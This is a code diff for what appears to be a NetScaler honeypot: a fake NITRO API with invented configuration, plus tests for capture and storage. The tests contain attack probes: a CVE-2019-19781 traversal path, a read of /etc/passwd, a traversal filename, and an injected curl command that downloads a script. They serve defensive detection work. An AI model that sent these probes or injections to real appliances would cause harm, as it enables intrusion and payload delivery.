"rnat6", + "rnatip", + "service", + "servicegroup", + "servicegroupmember", + "snmp", + "snmp_page", + "spillover_page", + "spilloverpolicy", + "ssl", + "ssl_page", + "sslvserver", + "statistics", + "stream_page", + "streamidentifier", + "system", + "system_page", + "systembw", + "systemcpu", + "systemmemory", + "tm_page", + "tmsessionpolicy", + "tmtrafficpolicy", + "transform_page", + "transformpolicy", + "transformpolicylabel", + "tunnel_page", + "tunnelip", + "tunnelip6", + "tunneltrafficpolicy", + "user_page", + "uservserver", + "videooptimization", + "videooptimization_page", + "videooptimizationdetectionpolicy", + "videooptimizationdetectionpolicylabel", + "videooptimizationpacingpolicy", + "videooptimizationpacingpolicylabel", + "vlan", + "vpn", + "vpn_page", + "vpnurlpolicy", + "vpnvserver", + "vxlan" + ] +} diff --git a/nitro.py b/nitro.py new file mode 100644 index 0000000..6da6039 --- /dev/null +++ b/nitro.py @@ -0,0 +1,174 @@ +"""Inert NITRO responses. All mutations affect bounded per-source dictionaries only.""" +import copy +import datetime +import json +import os +import pathlib +import secrets +import urllib.parse +from http.cookies import SimpleCookie, CookieError + +RESOURCES = json.loads(pathlib.Path(__file__).with_name('nitro-resources.json').read_text()) +CONFIG = { + 'nsversion': [dict(version=os.environ.get('HONEYPOT_VERSION', 'NetScaler NS14.1: Build 29.63.nc'), mode=0)], + 'nshardware': [dict(hwdescription='NetScaler Virtual Appliance', serialno='VMPE00000001')], + 'nshostname': [dict(hostname='adc-gateway')], + 'nsconfig': [dict(ipaddress='198.51.100.10', netmask='255.255.255.0', changed=False, configchanged=False)], + 'nsip': [dict(ipaddress='198.51.100.10', netmask='255.255.255.0', type='NSIP', state='ENABLED', gui='SECUREONLY'), + dict(ipaddress='198.51.100.11', netmask='255.255.255.0', type='SNIP', state='ENABLED')], + 'nsfeature': [dict(lb=True, cs=True, ssl=True, sslvpn=True, aaa=True, rewrite=True, responder=True)], + 'nsmode': [dict(fr=True, l3=True, usnip=True, pmtud=True)], + 'nslicense': [dict(licensetype='Premium', modelid='1000', ssl=True, sslvpn=True)], + 'nsparam': [dict(timezone='GMT', cookieversion='0', maxconn=0)], + 'hanode': [dict(id=0, ipaddress='198.51.100.10', state='UP', hastatus='YES', masterstate='Primary')], + 'interface': [dict(id='1/1', state='ENABLED', curstate='UP', mtu=1500, mac='00:50:56:01:02:03')], + 'vlan': [dict(id=1, aliasname='DEFAULT')], + 'route': [dict(network='0.0.0.0', netmask='0.0.0.0', gateway='198.51.100.1', distance=1)], + 'dnsnameserver': [dict(ip='198.51.100.53', state='ENABLED')], + 'server': [dict(name='app01', ipaddress='198.51.100.20', state='ENABLED')], + 'service': [dict(name='svc_app_https', servername='app01', ip='198.51.100.20', port=443, + servicetype='SSL', state='ENABLED', curstate='UP')], + 'servicegroup': [dict(servicegroupname='sg_apps', servicetype='SSL', state='ENABLED')], + 'lbvserver': [dict(name='lb_apps', ipv46='198.51.100.12', port=443, servicetype='SSL', + lbmethod='LEASTCONNECTION', state='ENABLED', curstate='UP')], + 'csvserver': [dict(name='cs_apps', ipv46='198.51.100.12', port=443, servicetype='SSL', state='ENABLED')], + 'vpnvserver': [dict(name='vpn_gateway', ipv46='198.51.100.10', port=443, servicetype='SSL', + state='ENABLED', curstate='UP', authentication='ON')], + 'vpnsessionaction': [dict(name='vpn_default', defaultauthorizationaction='ALLOW', clientlessvpnmode='OFF')], + 'vpnsessionpolicy': [dict(name='vpn_default_policy', rule='true', action='vpn_default')], + 'vpnportaltheme': [dict(name='RfWebUI', basetheme='RfWebUI')], + 'authenticationvserver': [dict(name='aaa_gateway', servicetype='SSL', authenticationdomain='corp.invalid', state='ENABLED')], + 'authenticationldapaction': [dict(name='ldap_corp', serverip='198.51.100.30', serverport=636, + ldapbase='dc=corp,dc=invalid', sectype='SSL')], + 'authenticationldappolicy': [dict(name='ldap_policy', rule='ns_true', reqaction='ldap_corp')], + 'systemuser': [dict(username='nsroot', timeout=900)], + 'systemgroup': [dict(groupname='administrators', timeout=900)], + 'sslcertkey': [dict(certkey='gateway_cert', cert='/nsconfig/ssl/gateway.crt', key='/nsconfig/ssl/gateway.key', status='Valid')], + 'sslvserver': [dict(vservername='vpn_gateway', ssl3='DISABLED', tls1='DISABLED', tls12='ENABLED', tls13='ENABLED')], + 'lbvserver_service_binding': [dict(name='lb_apps', servicename='svc_app_https', weight=1)], + 'vpnvserver_vpnsessionpolicy_binding': [dict(name='vpn_gateway', policy='vpn_default_policy', priority=100)], + 'vpnvserver_sslcertkey_binding': [dict(name='vpn_gateway', certkeyname='gateway_cert')], + 'servicegroup_servicegroupmember_binding': [dict(servicegroupname='sg_apps', ip='198.51.100.20', port=443, weight=1)], + 'systemuser_systemgroup_binding': [dict(username='nsroot', groupname='administrators')], + 'auditnslogparams': [dict(serverip='198.51.100.40', serverport=3020, loglevel=['ERROR', 'WARNING'])], + 'snmpmib': [dict(contact='Network Operations', location='Datacenter', name='adc-gateway')], + 'ntpserver': [dict(serverip='198.51.100.123', preferred='YES')], + 'systemfile': [], + 'nsrunningconfig': [dict(response='set ns hostName adc-gateway\nadd server app01 198.51.100.20\n')], + 'nssavedconfig': [dict(response='set ns hostName adc-gateway\nadd server app01 198.51.100.20\n')], +} +KEYS = ('name', 'servicegroupname', 'username', 'groupname', 'certkey', 'vservername', 'ipaddress', 'ip', 'id', 'filename') + + +def reply(status=200, errorcode=0, message='Done', **data): + return status, dict(errorcode=errorcode, message=message, severity='ERROR' if errorcode else 'NONE', **data), [] + + +def identity(row): + return next((str(row[k]) for k in KEYS if k in row), '') + + +def respond(state, method, url, body, headers): + parts = url.path.strip('/').split('/', 4) + if len(parts) < 4 or parts[:2] != ['nitro', 'v1'] or parts[2] not in RESOURCES: + return reply(404, 258, 'Invalid resource type') + kind, resource = parts[2:4] + name = urllib.parse.unquote(parts[4]) if len(parts) > 4 else '' + try:query = dict(urllib.parse.parse_qsl(url.query, max_num_fields=128)) + except ValueError:return reply(400, 258, 'Invalid argument') + if not hasattr(state, 'nitro'): + state.nitro = dict(token=None, data={}) + fake = state.nitro + payload = {} + if method in ('POST', 'PUT', 'PATCH') and body: + try: + # Large systemfile bodies are captured separately; never retain their bytes in fake config. + payload = json.loads(body) if len(body) <= 65536 else ({'systemfile': {}} if resource == 'systemfile' else None) + if not isinstance(payload, dict):raise ValueError() + except (ValueError, RecursionError): + return reply(400, 258, 'Invalid argument') + if resource == 'login' and kind == 'config' and method == 'POST': + login = payload.get('login', {}) + if not isinstance(login, dict) or not login.get('username') or not login.get('password'): + return reply(400, 258, 'Invalid argument') + fake['token'] = '##' + secrets.token_hex(16).upper() + status, result, extra = reply(201, sessionid=fake['token'], login=[dict(sessionid=fake['token'])]) + extra.append(('Set-Cookie', 'NITRO_AUTH_TOKEN='+fake['token']+'; Path=/nitro/v1; Secure; HttpOnly')) + return status, result, extra + cookie = SimpleCookie() + try:cookie.load(headers.get('Cookie', '')) + except CookieError:pass + token = cookie.get('NITRO_AUTH_TOKEN') + auth = bool(token and fake['token'] and token.value == fake['token']) + # These credentials authenticate only this invented appliance, never an external system. + auth |= bool(headers.get('X-NITRO-USER') and headers.get('X-NITRO-PASS')) + auth |= headers.get('Authorization', '').startswith('Basic ') + if not auth:return reply(401, 444, 'Authentication required') + if resource == 'logout' and method == 'POST': + fake['token'] = None + status, result, extra = reply(201) + extra.append(('Set-Cookie', 'NITRO_AUTH_TOKEN=; Path=/nitro/v1; Max-Age=0')) + return status, result, extra + if resource not in RESOURCES[kind] and resource not in CONFIG: + return reply(404, 258, 'Invalid resource type') + rows = copy.deepcopy(fake['data'].get(resource, CONFIG.get(resource, []))) + if resource.endswith('_binding') and not rows: + root = resource[:-8] + for item in CONFIG.get(root, []): + bindings = {key:copy.deepcopy(value) for key,value in CONFIG.items() + if key.startswith(root+'_') and key.endswith('_binding')} + if bindings:rows.append(dict(name=identity(item), **bindings)) + if kind == 'stat': + if not rows:rows = [dict(name=name)] if name else [{}] + for row in rows: + row.update(totalrequests='0', requestsrate=0, establishedconn='0', throughput='0', throughputrate=0) + if resource == 'system':row.update(cpuusage=2, memusagepcnt=18, disk0perusage=9) + if resource == 'ns':row.update(totrxmbits='0', tottxmbits='0', tcpcurclientconn='0') + if resource == 'nstime':rows = [dict(time=datetime.datetime.now(datetime.timezone.utc).strftime('%a %b %d %H:%M:%S %Y'))] + if method in ('GET', 'HEAD'): + if name:rows = [row for row in rows if identity(row) == name] + for key in ('filter', 'args'): + # ponytail: literal filters; add bounded regex matching if a client needs it. + for condition in query.get(key, '').split(','): + if ':' in condition: + field, value = condition.split(':', 1) + rows = [row for row in rows if str(row.get(field, '')) == value] + if query.get('count') == 'yes':rows = [dict(__count=len(rows))] + else: + try: + size = min(1000, max(1, int(query.get('pagesize', 1000)))) + page = max(1, int(query.get('pageno', 1))) + except ValueError:return reply(400, 258, 'Invalid argument') + rows = rows[(page-1)*size:page*size] + if query.get('attrs'): + attrs = set(query['attrs'].split(','));rows = [{k:v for k,v in row.items() if k in attrs} for row in rows] + return reply(**{resource: rows}) + if method == 'OPTIONS':return 200, {}, [('Allow', 'GET, HEAD, POST, PUT, DELETE, OPTIONS')] + if kind == 'stat':return reply(405, 258, 'Method not allowed') + if method == 'DELETE': + if not name:return reply(400, 258, 'Invalid argument') + rows = [row for row in rows if identity(row) != name] + elif method in ('POST', 'PUT'): + incoming = payload.get(resource) + if not isinstance(incoming, (dict, list)):return reply(400, 258, 'Invalid argument') + incoming = incoming if isinstance(incoming, list) else [incoming] + if len(incoming) > 128 or any(not isinstance(row, dict) for row in incoming):return reply(400, 258, 'Invalid argument') + action = query.get('action') + if action and action not in ('enable', 'disable', 'rename'): + # Administrative actions are acknowledgements, never operations on this host. + return reply() + for row in incoming: + row = {k:v for k,v in row.items() if k not in ('password', 'filecontent')} + old = next((item for item in rows if identity(item) == identity(row)), None) + if action in ('enable', 'disable'): + row['state'] = 'ENABLED' if action == 'enable' else 'DISABLED' + if action == 'rename' and 'newname' in row:row['name'] = row.pop('newname') + if old is None:rows.append(row) + else:old.update(row) + else:return reply(405, 258, 'Method not allowed') + updated = dict(fake['data'], **{resource:rows}) + try: + if len(json.dumps(updated)) > 65536:return reply(503, 258, 'Resource limit reached') + except (ValueError, RecursionError):return reply(400, 258, 'Invalid argument') + fake['data'] = updated + return reply(201 if method == 'POST' and not query.get('action') else 200) diff --git a/test_capture.py b/test_capture.py index e3cd0ef..5ec1f98 100644 --- a/test_capture.py +++ b/test_capture.py @@ -5,6 +5,9 @@ import json import pathlib import tempfile import threading +import subprocess +import sys +from unittest.mock import patch from honeypot import Engine, Server, extract from evidence import Evidence @@ -33,6 +36,12 @@ def main(): return result try: + status, response = request('POST', '/nitro/v1/config/login', b'{"login":{"username":"capture-check","password":"inert"}}', + {'Content-Type': 'application/json'}) + assert status == 201 and json.loads(response)['login'][0]['sessionid'] + auth = {'Cookie': 'NITRO_AUTH_TOKEN=' + json.loads(response)['sessionid']} + assert json.loads(request('GET', '/nitro/v1/stat/system', headers=auth)[1])['system'][0]['cpuusage'] == 2 + assert engine.backend is None and engine.fetcher is None request('GET', '/vpn/../vpns/cfg/smb.conf') assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows) request('GET', '/../../etc/passwd') @@ -44,7 +53,7 @@ def main(): request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'}) digest = hashlib.sha256(payload).hexdigest() assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload - upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload') + upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload' and e['evidence']['sha256'] == digest) assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'} assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \ @@ -62,6 +71,43 @@ def main(): kinds = {e['event'] for e in journal} assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate', 'simulated_command', 'virtual_file_write'} <= kinds + # Interrupted writes never publish a partial file under a full-content hash. + with patch('evidence.os.fsync', side_effect=OSError('simulated disk failure')): + try: + evidence.save(b'interrupted-file') + raise AssertionError('storage failure was ignored') + except OSError: + pass + assert not (evidence.artifacts / (hashlib.sha256(b'interrupted-file').hexdigest() + '.bin')).exists() + assert not list(evidence.artifacts.glob('.capture-*')) + interrupted = pathlib.Path(workspace.name) / 'interrupted-journal' + interrupted.mkdir() + (interrupted / 'events.jsonl').write_bytes(b'{"interrupted":') + repaired = Evidence(interrupted) + try: + repaired.emit('after_restart') + lines = (interrupted / 'events.jsonl').read_bytes().splitlines() + assert lines[0] == b'{"interrupted":' + assert json.loads(lines[1])['event'] == 'after_restart' + finally: + repaired.close() + # A capture failure survives process restart and cannot be bypassed by systemd. + server.stop_capture(OSError('simulated quota exhaustion')) + assert (evidence.directory / 'STOP').exists() + result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'), + '--log-dir', workspace.name, '--port', '0'], capture_output=True, timeout=5) + assert result.returncode == 78 and b'STOP latch' in result.stderr + full = pathlib.Path(workspace.name) / 'full-at-start' + store = Evidence(full, quota=1024*1024) + store.save(b'x'*(1024*1024)) + store.close() + result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'), + '--simulation-only', '--log-dir', str(full), '--evidence-mib', '1', '--port', '0'], + capture_output=True, timeout=5) + assert result.returncode == 78 and (full / 'STOP').exists() + result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'), + '--simulation-only', '--fetch-payloads'], capture_output=True, timeout=5) + assert result.returncode == 2 finally: server.shutdown() server.server_close() diff --git a/test_nitro.py b/test_nitro.py new file mode 100644 index 0000000..f2ab25d --- /dev/null +++ b/test_nitro.py @@ -0,0 +1,72 @@ +"""Run: python3 test_nitro.py. Inert API behaviour and exact upload capture.""" +import base64 +import hashlib +import http.client +import json +import pathlib +import tempfile +import threading +import urllib.parse +from types import SimpleNamespace +from evidence import Evidence +from honeypot import Engine, Server +from nitro import CONFIG, RESOURCES, respond + + +def main(): + state = SimpleNamespace() + auth = {} + def api(method, path, data=None, headers=None, source=state): + return respond(source, method, urllib.parse.urlsplit('/nitro/v1/'+path), + json.dumps(data).encode() if data is not None else b'', headers if headers is not None else auth) + assert api('GET', 'config/nsversion')[0] == 401 + assert api('POST', 'config/login', {'login': {}})[0] == 400 + status, login, extra = api('POST', 'config/login', {'login': {'username':'probe','password':'inert'}}) + assert status == 201 and extra[0][0] == 'Set-Cookie' + auth = {'Cookie': 'NITRO_AUTH_TOKEN='+login['sessionid']} + assert api('GET', 'config/nsversion')[1]['nsversion'][0]['version'].startswith('NetScaler NS') + assert len(RESOURCES['config']) > 1400 and len(RESOURCES['stat']) > 150 + for kind in RESOURCES: + for resource in RESOURCES[kind]:assert api('GET',kind+'/'+resource)[0] == 200, resource + for resource in CONFIG:assert resource in api('GET', 'config/'+resource)[1] + assert api('POST', 'config/lbvserver', {'lbvserver': {'name':'new','port':80}})[0] == 201 + assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['port'] == 80 + assert api('PUT', 'config/lbvserver', {'lbvserver': {'name':'new','port':8080}})[0] == 200 + assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['port'] == 8080 + assert api('POST', 'config/lbvserver?action=disable', {'lbvserver': {'name':'new'}})[0] == 200 + assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['state'] == 'DISABLED' + assert api('GET', 'config/lbvserver?filter=name:new&attrs=name')[1]['lbvserver'] == [{'name':'new'}] + assert api('GET', 'config/lbvserver?count=yes')[1]['lbvserver'] == [{'__count':2}] + assert api('GET', 'config/lbvserver_binding/lb_apps')[1]['lbvserver_binding'][0]['lbvserver_service_binding'][0]['servicename'] == 'svc_app_https' + assert api('GET', 'config/lbvserver?pagesize=1&pageno=2')[1]['lbvserver'][0]['name'] == 'new' + assert api('GET', 'config/lbvserver?pagesize=bad')[0] == 400 + assert api('GET', 'config/nsip?'+ '&'.join('x=1' for _ in range(129)))[0] == 400 + assert api('GET', 'config/not_a_resource')[0] == 404 + assert api('DELETE', 'config/lbvserver/new')[0] == 200 + assert api('GET', 'config/lbvserver/new')[1]['lbvserver'] == [] + assert api('GET', 'config/lbvserver', source=SimpleNamespace(), headers={'X-NITRO-USER':'probe','X-NITRO-PASS':'inert'})[1]['lbvserver'] == CONFIG['lbvserver'] + assert api('POST', 'config/lbvserver', {'lbvserver':{'name':'huge','blob':'x'*65520}})[0] in (400,503) + assert api('POST', 'config/logout', {'logout':{}})[0] == 201 + assert api('GET', 'config/nsversion')[0] == 401 + with tempfile.TemporaryDirectory() as directory: + evidence = Evidence(directory) + server = Server(('127.0.0.1',0), Engine(evidence.emit,save=evidence.save), serve_guest_files=False) + thread=threading.Thread(target=server.serve_forever,daemon=True);thread.start() + payload=b'\0inert-nitro-file\xff\n' + body=json.dumps({'systemfile':{'filename':'../../inert.bin','filelocation':'/tmp','filecontent':base64.b64encode(payload).decode()}}).encode() + try: + connection=http.client.HTTPConnection('127.0.0.1',server.server_port,timeout=3) + connection.request('POST','/nitro/v1/config/systemfile',body,{'Content-Type':'application/json','X-NITRO-USER':'probe','X-NITRO-PASS':'inert'}) + response=connection.getresponse();assert response.status==201;response.read();connection.close() + digest=hashlib.sha256(payload).hexdigest() + assert (pathlib.Path(directory)/'artifacts'/(digest+'.bin')).read_bytes()==payload + records=[json.loads(row) for row in (pathlib.Path(directory)/'events.jsonl').read_text().splitlines()] + upload=next(row for row in records if row['event']=='upload') + assert upload['filename']=='../../inert.bin' and upload['evidence']['sha256']==digest + assert any(row['event']=='request_body' and row['evidence']['sha256']==hashlib.sha256(body).hexdigest() for row in records) + finally: + server.shutdown();server.server_close();thread.join(3);evidence.close() + print('PASS: resource catalog, auth, CRUD, actions, queries, source isolation and byte-exact NITRO files') + + +if __name__=='__main__':main()